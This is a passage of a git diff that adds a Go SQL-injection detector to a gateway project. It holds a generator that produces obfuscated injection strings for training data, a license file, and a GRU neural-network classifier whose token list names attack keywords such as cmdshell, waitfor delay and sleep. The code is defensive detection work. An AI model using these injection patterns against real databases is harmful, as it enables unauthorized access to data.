case PartTypeLiteral: + sample += part.Literal + case PartTypeNumber: + if value, ok := state[part.Variable]; ok { + sample += value + break + } + s := strconv.Itoa(rand.Intn(part.Max)) + state[part.Variable] = s + sample += s + case PartTypeName: + if value, ok := state[part.Variable]; ok { + sample += value + break + } + s, count := "", rand.Intn(8)+1 + for i := 0; i < count; i++ { + s += string(rune(int('a') + rnd.Intn(int('z'-'a')))) + } + state[part.Variable] = s + sample += s + case PartTypeOr: + if rnd.Intn(2) == 0 { + if i == 0 { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += " " + } + } + sample += "or" + if i == last { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += " " + } + } + } else { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + sample += "||" + count = rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } + case PartTypeHexOr: + if rnd.Intn(2) == 0 { + if i == 0 { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += "%20" + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += "%20" + } + } + sample += "or" + if i == last { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += "%20" + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += "%20" + } + } + } else { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += "%20" + } + sample += "||" + count = rnd.Intn(8) + for i := 0; i < count; i++ { + sample += "%20" + } + } + case PartTypeAnd: + if rnd.Intn(2) == 0 { + if i == 0 { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += " " + } + } + sample += "and" + if i == last { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } else { + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += " " + } + } + } else { + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + sample += "&&" + count = rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + } + case PartTypeSpaces: + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += " " + } + case PartTypeSpacesOptional: + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += " " + } + case PartTypeHexSpaces: + count := rnd.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += "%20" + } + case PartTypeHexSpacesOptional: + count := rnd.Intn(8) + for i := 0; i < count; i++ { + sample += "%20" + } + case PartTypeComment: + sample += "/*" + count := rand.Intn(8) + 1 + for i := 0; i < count; i++ { + sample += string(rune(int('a') + rnd.Intn(int('z'-'a')))) + } + sample += "*/" + case PartTypeObfuscated: + s, err := part.Parts.Sample(rnd) + if err != nil { + return "", err + } + sample += "'" + for _, v := range s { + sample += string(v) + if rnd.Intn(3) == 0 { + sample += "'" + if rnd.Intn(2) == 0 { + sample += "+" + } else { + sample += "||" + } + sample += "'" + } + } + sample += "'" + case PartTypeObfuscatedWithComments: + s, err := part.Parts.Sample(rnd) + if err != nil { + return "", err + } + for _, v := range s { + sample += string(v) + if rnd.Intn(3) == 0 { + sample += "/**/" + } + } + case PartTypeHex: + sample += fmt.Sprintf("%#x", rnd.Intn(part.Max)) + case PartTypeNumberList: + for i := 0; i < 7; i++ { + sample += strconv.Itoa(rand.Intn(part.Max)) + sample += "," + } + sample += strconv.Itoa(rand.Intn(part.Max)) + case PartTypeScientificNumber: + const factor = 1337 * 1337 + sample += fmt.Sprintf("%E", rnd.Float64()*factor-factor/2) + case PartTypeSQL: + a, count := "", rand.Intn(8)+1 + for i := 0; i < count; i++ { + a += string(rune(int('a') + rnd.Intn(int('z'-'a')))) + } + b, count := "", rand.Intn(8)+1 + for i := 0; i < count; i++ { + b += string(rune(int('a') + rnd.Intn(int('z'-'a')))) + } + n := strconv.Itoa(rand.Intn(1337)) + + sample += "select " + a + " from " + b + " where " + n + "=" + n + } + } + return sample, nil +} diff --git a/activity/sqld/injectsec/fileb0x.json b/activity/sqld/injectsec/fileb0x.json new file mode 100644 index 0000000..e49dfb1 --- /dev/null +++ b/activity/sqld/injectsec/fileb0x.json @@ -0,0 +1,26 @@ +{ + "pkg": "injectsec", + "dest": "./", + "fmt": true, + "tags": "", + "compression": { + "compress": true, + "method": "BestCompression", + "keep": false + }, + "clean": false, + "output": "ab0x.go", + "unexporTed": false, + "spread": false, + "debug": false, + "custom": [ + { + "files": [ + "weights.w" + ], + "base": "", + "prefix": "", + "tags": "" + } + ] +} diff --git a/activity/sqld/injectsec/gru/LICENSE b/activity/sqld/injectsec/gru/LICENSE new file mode 100644 index 0000000..7bec963 --- /dev/null +++ b/activity/sqld/injectsec/gru/LICENSE @@ -0,0 +1,189 @@ +The Gorgonia Licence + +Copyright (c) 2016 Xuanyi Chew + +Licensed under the Gorgonia License, Version 1.0 (the "License"); +you may not use this file except in compliance with the License. + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Significant Contribution" shall mean any Contribution that indicates a deep + understanding of the Work and/or its Derivatives thereof. + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. You are not permitted + to directly commercially profit from this Work unless You are also a + Significant Contributor, which is listed under the Contributors list. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. +END OF TERMS AND CONDITIONS diff --git a/activity/sqld/injectsec/gru/gru.go b/activity/sqld/injectsec/gru/gru.go new file mode 100644 index 0000000..0b0ecaa --- /dev/null +++ b/activity/sqld/injectsec/gru/gru.go @@ -0,0 +1,263 @@ +package gru + +import ( + "fmt" + "math/rand" + "regexp" + "sort" + "strings" + + "github.com/project-flogo/microgateway/activity/sqld/injectsec/data" + G "gorgonia.org/gorgonia" +) + +const ( + embeddingSize = 10 + outputSize = 2 + hiddenSize = 5 +) + +// Chunks are SQL chunks +var Chunks = []string{ + "0x", + "/*", + "*/", + "--", + "begin", + "end", + "set", + "select", + "count", + "top", + "into", + "as", + "from", + "where", + "exists", + "and", + "&&", + "or", + "||", + "not", + "in", + "like", + "is", + "between", + "union", + "all", + "having", + "order", + "group", + "by", + "print", + "var", + "char", + "master", + "cmdshell", + "waitfor", + "delay", + "time", + "exec", + "immediate", + "declare", + "sleep", + "md5", + "benchmark", + "load", + "file", + "schema", + "null", + "version", +} + +func init() { + sort.Slice(Chunks, func(i, j int) bool { + a, b := Chunks[i], Chunks[j] + if la, lb := len(a), len(b); la > lb { + return true + } else if la == lb { + return a < b + } + return false + }) +} + +var filter, notFilter *regexp.Regexp + +func init() { + rnd := rand.New(rand.NewSource(1)) + generators, expression, sep := data.TrainingDataGenerator(rnd), "", "(" + for _, generator := range generators { + if generator.SkipMatch { + continue + } + if generator.Regex != nil { + parts := data.NewParts() + generator.Regex(parts) + exp, err := parts.RegexFragment() + if err != nil { + panic(err) + } + expression += sep + exp + ")" + sep = "|(" + } + } + filter = regexp.MustCompile("^(" + expression + ")$") + notFilter = regexp.MustCompile("^(([\\p{L}]+)|([\\p{N}]+))$") +} + +// GRU is a GRU based anomaly detection engine +type GRU struct { + *Model + learner []*RNN + inference *RNN + solver G.Solver + steps int +} + +// NewGRU creates a new GRU anomaly detection engine +func NewGRU(rnd *rand.Rand) *GRU { + steps := 3 + inputSize := 256 + len(Chunks) + embeddingSize := embeddingSize + outputSize := outputSize + hiddenSizes := []int{hiddenSize} + gru := NewModel(rnd, 2, inputSize, embeddingSize, outputSize, hiddenSizes) + + learner := make([]*RNN, steps) + for i := range learner { + learner[i] = NewRNN(gru) + err := learner[i].ModeLearn(i + 1) + if err != nil { + panic(err) + } + } + + inference := NewRNN(gru) + err := inference.ModeInference() + if err != nil { + panic(err) + } + + learnrate := 0.001 + l2reg := 0.000001 + clipVal := 5.0 + solver := G.NewRMSPropSolver(G.WithLearnRate(learnrate), G.WithL2Reg(l2reg), G.WithClip(clipVal)) + + return &GRU{ + Model: gru, + learner: learner, + inference: inference, + solver: solver, + steps: steps, + } +} + +func convert(input []byte) []int { + length, i := len(input), 0 + data := make([]int, 0, length) +conversion: + for i < length { + search: + for j, v := range Chunks { + chunk := []byte(v) + for k, c := range chunk { + index := i + k + if index >= len(input) { + continue search + } + if c != input[index] { + continue search + } + } + data = append(data, 256+j) + i += len(chunk) + continue conversion + } + data = append(data, int(input[i])) + i++ + } + + return data +} + +// Train trains the GRU +func (g *GRU) Train(input []byte, attack bool) float32 { + data := convert(input) + learner := g.learner[len(g.learner)-1] + if len(data) < len(g.learner) { + learner = g.learner[len(data)-1] + } + cost, _, err := learner.Learn(data, attack, g.solver) + if err != nil { + panic(fmt.Sprintf("%+v", err)) + } + total := 0.0 + for _, v := range cost { + total += v + } + + return float32(total) / float32(len(cost)) +} + +// Test tests a string +func (g *GRU) Test(input []byte) bool { + data := convert(input) + return g.inference.IsAttack(data) +} + +// DetectorMaker makes SQL injection attack detectors +type DetectorMaker struct { + *Model +} + +// NewDetectorMaker creates a new detector maker +func NewDetectorMaker() *DetectorMaker { + inputSize := 256 + len(Chunks) + embeddingSize := embeddingSize + outputSize := outputSize + hiddenSizes := []int{hiddenSize} + rnd := rand.New(rand.NewSource(1)) + gru := NewModel(rnd, 2, inputSize, embeddingSize, outputSize, hiddenSizes) + return &DetectorMaker{ + Model: gru, + } +} + +// Detector detects SQL injection attacks +type Detector struct { + *RNN + SkipRegex bool +} + +// Make makes a new detector +func (d *DetectorMaker) Make() *Detector { + inference := NewRNN(d.Model) + err := inference.ModeInference() + if err != nil { + panic(err) + } + return &Detector{ + RNN: inference, + } +} + +// Detect returns true if the input is a SQL injection attack +func (d *Detector) Detect(a string) (float32, error) { + if a == "" { + return 0, nil + } + + if !d.SkipRegex { + if notFilter.MatchString(a) { + return 0, nil + } + + if filter.MatchString(a) { + return 100.0, nil + } + } + + data := convert([]byte(strings.ToLower(a))) + return d.AttackProbability(data) +} diff --git a/activity/sqld/injectsec/gru/gru_test.go b/activity/sqld/injectsec/gru/gru_test.go new file mode 100644 index 0000000..42844a5 --- /dev/null +++ b/activity/sqld/injectsec/gru/gru_test.go @@ -0,0 +1,30 @@ +package gru + +import ( + "bytes" + "math/rand" + "testing" +) + +func TestSerialize(t *testing.T) { + rnd := rand.New(rand.NewSource(1)) + inputSize := 256 + len(Chunks) + embeddingSize := 10 + outputSize := 2 + hiddenSizes := []int{5} + a := NewModel(rnd, 2, inputSize, embeddingSize, outputSize, hiddenSizes) + buffer := &bytes.Buffer{} + err := a.Write(buffer) + if err != nil { + t.Fatal(err) + } + b := NewModel(rnd, 2, inputSize, embeddingSize, outputSize, hiddenSizes) + err = b.Read(buffer) + if err != nil { + t.Fatal(err) + } + err = a.compare(b) + if err != nil { + t.Fatal(err) + } +} diff --git a/activity/sqld/injectsec/gru/model.go b/activity/sqld/injectsec/gru/model.go new file mode 100644 index 0000000..a6d340f --- /dev/null +++ b/activity/sqld/injectsec/gru/model.go @@ -0,0 +1,676 @@ +package gru + +import ( + "encoding/gob" + "fmt" + "io" + "io/ioutil" + "math" + "math/rand" + "os" + "strconv" + + G "gorgonia.org/gorgonia" + "gorgonia.org/tensor" +) + +type layer struct { + wf *tensor.Dense + uf *tensor.Dense + bf *tensor.Dense + + wh *tensor.Dense + uh *tensor.Dense + bh *tensor.Dense + + ones *tensor.Dense +} + +// Model is a GRU model +type Model struct { + layers []*layer + we *tensor.Dense + be *tensor.Dense + wo *tensor.Dense + bo *tensor.Dense + + inputs int + inputSize, embeddingSize, outputSize int + layerSizes []int +} + +// NewModel creates a new GRU model +func NewModel(rnd *rand.Rand, inputs, inputSize, embeddingSize, outputSize int, layerSizes []int) *Model { + gaussian32 := func(s ...int) []float32 { + size := tensor.Shape(s).TotalSize() + weights, stdev := make([]float32, size), math.Sqrt(2/float64(s[len(s)-1])) + for i := range weights { + weights[i] = float32(rnd.NormFloat64() * stdev) + } + return weights + } + + model := &Model{ + inputs: inputs, + inputSize: inputSize, + embeddingSize: embeddingSize, + outputSize: outputSize, + layerSizes: layerSizes, + } + model.we = tensor.New(tensor.WithShape(embeddingSize, inputSize), + tensor.WithBacking(gaussian32(embeddingSize, inputSize))) + model.be = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(embeddingSize)) + + previous := inputs * embeddingSize + for _, size := range layerSizes { + layer := &layer{} + model.layers = append(model.layers, layer) + + layer.wf = tensor.New(tensor.WithShape(size, previous), + tensor.WithBacking(gaussian32(size, previous))) + layer.uf = tensor.New(tensor.WithShape(size, size), + tensor.WithBacking(gaussian32(size, size))) + layer.bf = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(size)) + + layer.wh = tensor.New(tensor.WithShape(size, previous), + tensor.WithBacking(gaussian32(size, previous))) + layer.uh = tensor.New(tensor.WithShape(size, size), + tensor.WithBacking(gaussian32(size, size))) + layer.bh = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(size)) + + layer.ones = tensor.Ones(tensor.Float32, size) + + previous = size + } + + model.wo = tensor.New(tensor.WithShape(outputSize, previous), + tensor.WithBacking(gaussian32(outputSize, previous))) + model.bo = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(outputSize)) + + return model +} + +// WriteFile writes the weights to a file +func (m *Model) WriteFile(file string) error { + out, err := os.Create(file) + if err != nil { + return err + } + defer out.Close() + return m.Write(out) +} + +// Write writes the weights to a Writer +func (m *Model) Write(out io.Writer) error { + encoder := gob.NewEncoder(out) + write := func(t *tensor.Dense) error { + return encoder.Encode(t.Data()) + } + + for _, layer := range m.layers { + err := write(layer.wf) + if err != nil { + return err + } + err = write(layer.uf) + if err != nil { + return err + } + err = write(layer.bf) + if err != nil { + return err + } + + err = write(layer.wh) + if err != nil { + return err + } + err = write(layer.uh) + if err != nil { + return err + } + err = write(layer.bh) + if err != nil { + return err + } + } + err := write(m.we) + if err != nil { + return err + } + err = write(m.be) + if err != nil { + return err + } + err = write(m.wo) + if err != nil { + return err + } + err = write(m.bo) + if err != nil { + return err + } + + return nil +} + +// Read reads the weights from a Reader +func (m *Model) Read(in io.Reader) error { + decoder := gob.NewDecoder(in) + read := func(t *tensor.Dense) error { + data := t.Data().([]float32) + return decoder.Decode(&data) + } + + for _, layer := range m.layers { + err := read(layer.wf) + if err != nil { + return err + } + err = read(layer.uf) + if err != nil { + return err + } + err = read(layer.bf) + if err != nil { + return err + } + + err = read(layer.wh) + if err != nil { + return err + } + err = read(layer.uh) + if err != nil { + return err + } + err = read(layer.bh) + if err != nil { + return err + } + } + err := read(m.we) + if err != nil { + return err + } + err = read(m.be) + if err != nil { + return err + } + err = read(m.wo) + if err != nil { + return err + } + err = read(m.bo) + if err != nil { + return err + } + + return nil +} + +// ReadFile reads the weights from a file +func (m *Model) ReadFile(file string) error { + in, err := os.Open(file) + if err != nil { + return nil + } + defer in.Close() + return m.Read(in) +} + +func (m *Model) compare(b *Model) error { + compare := func(a, b *tensor.Dense, name string) error { + x := a.Data().([]float32) + y := b.Data().([]float32) + for k, v := range x { + if v != y[k] { + return fmt.Errorf("%v %v %v %v %v", k, name, "they don't match", v, y[k]) + } + } + return nil + } + for i, layer := range m.layers { + err := compare(layer.wf, b.layers[i].wf, "wf"+string(i)) + if err != nil { + return err + } + err = compare(layer.uf, b.layers[i].uf, "uf"+string(i)) + if err != nil { + return err + } + err = compare(layer.bf, b.layers[i].bf, "bf"+string(i)) + if err != nil { + return err + } + err = compare(layer.wh, b.layers[i].wh, "wh"+string(i)) + if err != nil { + return err + } + err = compare(layer.uh, b.layers[i].uh, "uh"+string(i)) + if err != nil { + return err + } + err = compare(layer.bh, b.layers[i].bh, "bh"+string(i)) + if err != nil { + return err + } + } + err := compare(m.we, b.we, "we") + if err != nil { + return err + } + err = compare(m.be, b.be, "be") + if err != nil { + return err + } + err = compare(m.wo, b.wo, "wo") + if err != nil { + return err + } + err = compare(m.bo, b.bo, "bo") + if err != nil { + return err + } + + return nil +} + +type gru struct { + wf *G.Node + uf *G.Node + bf *G.Node + + wh *G.Node + uh *G.Node + bh *G.Node + + ones *G.Node +} + +func (l *layer) NewGRULayer(g *G.ExprGraph, name string) *gru { + wf := G.NodeFromAny(g, l.wf, G.WithName("wf_"+name)) + uf := G.NodeFromAny(g, l.uf, G.WithName("uf_"+name)) + bf := G.NodeFromAny(g, l.bf, G.WithName("bf_"+name)) + + wh := G.NodeFromAny(g, l.wh, G.WithName("wh_"+name)) + uh := G.NodeFromAny(g, l.uh, G.WithName("uh_"+name)) + bh := G.NodeFromAny(g, l.bh, G.WithName("bh_"+name)) + + ones := G.NodeFromAny(g, l.ones, G.WithName("ones_"+name)) + return &gru{ + wf: wf, + uf: uf, + bf: bf, + wh: wh, + uh: uh, + bh: bh, + ones: ones, + } +} + +func (g *gru) fwd(input, previous *G.Node) *G.Node { + x := G.Must(G.Mul(g.wf, input)) + y := G.Must(G.Mul(g.uf, previous)) + f := G.Must(G.Sigmoid(G.Must(G.Add(G.Must(G.Add(x, y)), g.bf)))) + + x = G.Must(G.Mul(g.wh, input)) + y = G.Must(G.Mul(g.uh, G.Must(G.HadamardProd(f, previous)))) + z := G.Must(G.Tanh(G.Must(G.Add(G.Must(G.Add(x, y)), g.bh)))) + + a := G.Must(G.HadamardProd(G.Must(G.Sub(g.ones, f)), z)) + b := G.Must(G.HadamardProd(f, previous)) + + return G.Must(G.Add(a, b)) +} + +type gruOut struct { + hiddens G.Nodes + probabilities *G.Node +} + +// RNN is a LSTM that takes characters as input +type RNN struct { + *Model + layers []*gru + + g *G.ExprGraph + we *G.Node + be *G.Node + wo *G.Node + bo *G.Node + hiddens G.Nodes + + steps int + inputs [][]*tensor.Dense + outputs []*tensor.Dense + previous []*gruOut + cost *G.Node + machine G.VM +} + +// NewRNN create a new GRU for characters as inputs +func NewRNN(model *Model) *RNN { + g := G.NewGraph() + var layers []*gru + var hiddens G.Nodes + for i, v := range model.layerSizes { + name := strconv.Itoa(i) + layer := model.layers[i].NewGRULayer(g, name) + layers = append(layers, layer) + + hiddenTensor := tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(v)) + hidden := G.NewVector(g, G.Float32, G.WithName("prevHidden_"+name), + G.WithShape(v), G.WithValue(hiddenTensor)) + hiddens = append(hiddens, hidden) + } + we := G.NodeFromAny(g, model.we, G.WithName("we")) + be := G.NodeFromAny(g, model.be, G.WithName("be")) + wo := G.NodeFromAny(g, model.wo, G.WithName("wo")) + bo := G.NodeFromAny(g, model.bo, G.WithName("bo")) + return &RNN{ + Model: model, + layers: layers, + g: g, + we: we, + be: be, + wo: wo, + bo: bo, + hiddens: hiddens, + } +} + +func (r *RNN) learnables() (value G.Nodes) { + for _, l := range r.layers { + nodes := G.Nodes{ + l.wf, + l.uf, + l.bf, + l.wh, + l.uh, + l.bh, + } + value = append(value, nodes...) + } + + value = append(value, r.we) + value = append(value, r.be) + value = append(value, r.wo) + value = append(value, r.bo) + + return +} + +func (r *RNN) learnablesValues() (value []G.ValueGrad) { + for _, l := range r.layers { + nodes := []G.ValueGrad{ + l.wf, + l.uf, + l.bf, + l.wh, + l.uh, + l.bh, + } + value = append(value, nodes...) + } + + value = append(value, r.we) + value = append(value, r.be) + value = append(value, r.wo) + value = append(value, r.bo) + + return +} + +func (r *RNN) fwd(previous *gruOut) (inputs []*tensor.Dense, retVal *gruOut, err error) { + previousHiddens := r.hiddens + if previous != nil { + previousHiddens = previous.hiddens + } + + var hiddens G.Nodes + for i, v := range r.layers { + var inputVector *G.Node + if i == 0 { + inputs = make([]*tensor.Dense, r.Model.inputs) + for j := range inputs { + inputs[j] = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(r.inputSize)) + input := G.NewVector(r.g, tensor.Float32, G.WithShape(r.inputSize), G.WithValue(inputs[j])) + if inputVector == nil { + inputVector = G.Must(G.Add(G.Must(G.Mul(r.we, input)), r.be)) + } else { + inputVector = G.Must(G.Concat(0, inputVector, G.Must(G.Add(G.Must(G.Mul(r.we, input)), r.be)))) + } + } + } else { + inputVector = hiddens[i-1] + } + + hidden := v.fwd(inputVector, previousHiddens[i]) + hiddens = append(hiddens, hidden) + } + lastHidden := hiddens[len(hiddens)-1] + var output *G.Node + if output, err = G.Mul(r.wo, lastHidden); err == nil { + if output, err = G.Add(output, r.bo); err != nil { + G.WithName("LAST HIDDEN")(lastHidden) + ioutil.WriteFile("err.dot", []byte(lastHidden.RestrictedToDot(3, 10)), 0644) + panic(fmt.Sprintf("ERROR: %v", err)) + } + } else { + panic(err) + } + + var probs *G.Node + probs = G.Must(G.SoftMax(output)) + + retVal = &gruOut{ + hiddens: hiddens, + probabilities: probs, + } + + return +} + +func (r *RNN) feedback(tap int) { + prev := r.previous[tap] + for i := range r.hiddens { + input := r.hiddens[i].Value().(*tensor.Dense) + output := prev.hiddens[i].Value().(*tensor.Dense) + err := output.CopyTo(input) + if err != nil { + panic(err) + } + } +} + +func (r *RNN) reset() { + for i := range r.hiddens { + r.hiddens[i].Value().(*tensor.Dense).Zero() + } +} + +// ModeLearn puts the CharRNN into a learning mode +func (r *RNN) ModeLearn(steps int) (err error) { + inputs := make([][]*tensor.Dense, r.Model.inputs) + outputs := make([]*tensor.Dense, steps) + previous := make([]*gruOut, steps) + var cost *G.Node + + for i := range inputs { + inputs[i] = make([]*tensor.Dense, steps) + } + + for i := 0; i < steps; i++ { + var loss *G.Node + + var prev *gruOut + if i > 0 { + prev = previous[i-1] + } + var in []*tensor.Dense + in, previous[i], err = r.fwd(prev) + if err != nil { + return + } + for k, v := range in { + inputs[k][i] = v + } + + logprob := G.Must(G.Neg(G.Must(G.Log(previous[i].probabilities)))) + outputs[i] = tensor.New(tensor.Of(tensor.Float32), tensor.WithShape(r.outputSize)) + output := G.NewVector(r.g, tensor.Float32, G.WithShape(r.outputSize), G.WithValue(outputs[i])) + loss = G.Must(G.Mul(logprob, output)) + + if cost == nil { + cost = loss + } else { + cost = G.Must(G.Add(cost, loss)) + } + G.WithName("Cost")(cost) + } + + r.steps = steps + r.inputs = inputs + r.outputs = outputs + r.previous = previous + r.cost = cost + + _, err = G.Grad(cost, r.learnables()...) + if err != nil { + return + } + + r.machine = G.NewTapeMachine(r.g, G.BindDualValues(r.learnables()...)) + return +} + +// ModeInference puts the CharRNN into inference mode +func (r *RNN) ModeInference() (err error) { + inputs := make([][]*tensor.Dense, r.Model.inputs) + previous := make([]*gruOut, 1) + + for i := range inputs { + inputs[i] = make([]*tensor.Dense, 1) + } + + var in []*tensor.Dense + in, previous[0], err = r.fwd(nil) + if err != nil { + return + } + for k, v := range in { + inputs[k][0] = v + } + + r.inputs = inputs + r.previous = previous + r.machine = G.NewTapeMachine(r.g) + return +} + +func (r *RNN) getProbabilities(input []int) G.Value { + end := len(input) - 1 + r.reset() + for i := range input { + r.inputs[0][0].Zero() + r.inputs[0][0].SetF32(input[i], 1.0) + if len(r.inputs) > 1 { + r.inputs[1][0].Zero() + r.inputs[1][0].SetF32(input[end-i], 1.0) + } + err := r.machine.RunAll() + if err != nil { + panic(err) + } + r.feedback(0) + r.machine.Reset() + } + + return r.previous[0].probabilities.Value() +} + +// AttackProbability return the probability the input is an attack +func (r *RNN) AttackProbability(input []int) (float32, error) { + value := r.getProbabilities(input) + if t, ok := value.(tensor.Tensor); ok { + isAttack, err := t.At(0) + if err != nil { + return 0, err + } + probability, ok := isAttack.(float32) + if !ok { + return 0, fmt.Errorf("value is not float32") + } + return 100 * probability, nil + } + + return 0, fmt.Errorf("not a tensor") +} + +// IsAttack determines if an input is an attack +func (r *RNN) IsAttack(input []int) bool { + value := r.getProbabilities(input) + if t, ok := value.(tensor.Tensor); ok { + max, err := tensor.Argmax(t, -1) + if err != nil { + panic(err) + } + if !max.IsScalar() { + panic("expected scalar index") + } + if x := max.ScalarValue().(int); x == 0 { + return true + } + } else { + 